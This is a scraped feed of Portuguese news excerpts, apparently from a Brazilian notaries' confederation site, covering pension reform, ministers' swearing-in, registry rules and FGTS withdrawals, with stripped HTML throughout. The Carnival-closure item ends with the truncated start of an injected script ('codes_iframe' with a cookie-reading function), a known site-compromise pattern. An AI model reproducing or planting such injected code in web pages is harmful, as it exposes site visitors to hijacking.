p style=text-align: justify;emO presidente da Câmara Rodrigo Maia defendeu há pouco que a idade mínima de aposentadoria para homens e mulheres seja a mesma. Maia afirmou que as mulheres lutam por um equilíbrio na relação de gênero em todos os temas da sociedade. Ele participou de uma reunião com líderes da base na residência oficial./em/p […]
Ministros da Justiça, Osmar Serraglio, e das Relações Exteriores, Aloísio Nunes Ferreira, são empossados em cerimônia oficial no Palácio do Planalto !--more-- div id=wrap/div div id=wrap div id=centro div id=conteudo div class=item-page p style=text-align: justify;strongBrasília (DF) -/strong Foi realizada nesta terça-feira (07/03) a cerimônia de posse dos ministros da Justiça e Segurança Pública, Osmar Serragliostrong,/strong e das Relações […]
p style=text-align: justify;emRelator da reforma previdenciária disse que o projeto deve ser aperfeiçoado na comissão, mas a direção das mudanças só ficará clara após o encerramento da fase de apresentação de emendas/em/p !--more-- div id=conteudoNoticia p style=text-align: justify;A comissão especial que analisa a reforma da Previdência (PEC a href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=2119881 target=_blank287/16/a) deve discutir e votar na […]
p style=text-align: justify;Muito se tem discutido acerca da natureza jurídica dessas contribuições sociais devidas a entidades privadas.../p !--more-- nbsp; section id=gk-mainsection class=container-fluidsection class=gk-content-wrap row-fluidsection id=gk-content class=span9section id=gk-component div class=item-page gk-item-page div class=gk-article p style=text-align: justify;Kiyoshi Harada*/p p style=text-align: justify;São as seguintes as contribuições sociais do sistema S: (a) SENAI – Decreto-lei nº 4.048, de 22-1-1942 […]
emEm análise na Câmara dos Deputados, o Projeto de Lei 4978/16, do deputado Rômulo Gouveia (PSD-PB), determina que o uso do nome “cartório” deve ser restrito aos prestadores de serviço notariais e de registro./em !--more-- div id=conteudoNoticia “Percebendo a existência de um potencial para ganhos e vantagens econômicas, empresas têm se apropriado indevidamente da denominação […]
emEm virtude do feriado de Carnaval, a Confederação Nacional de Notários e Registradores (CNR) não terá expediente nos dias 27 (segunda-feira) e 28 (terça-feira) de fevereiro./em !--more-- Retornaremos as atividades na quarta-feira de Cinzas, 1º de março, o expediente será das 13h às 18h. Fonte: Assessoria de Imprensa da CNR !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new […]
p style=text-align:justify;em“Não se aplica a aposentadoria compulsória prevista no artigo 40, parágrafo 1º, inciso II, da Constituição Federal aos titulares de serventias judiciais não estatizadas, desde que não sejam ocupantes de cargo público efetivo e não recebam remuneração proveniente dos cofres públicos”. Essa foi a tese aprovada, por unanimidade, na sessão plenária desta quarta-feira (15), […]
emAté R$ 43 bilhões poderão ser sacados entre março e julho de 49,6 milhões de contas inativas./em !--more-- p style=text-align:justify; “A medida é boa para o Brasil, é boa para o trabalhador e boa para a economia, porque serão R$ 43 bilhões que estarão à disposição. Aqueles trabalhadores que têm as suas contas inativas poderão […]
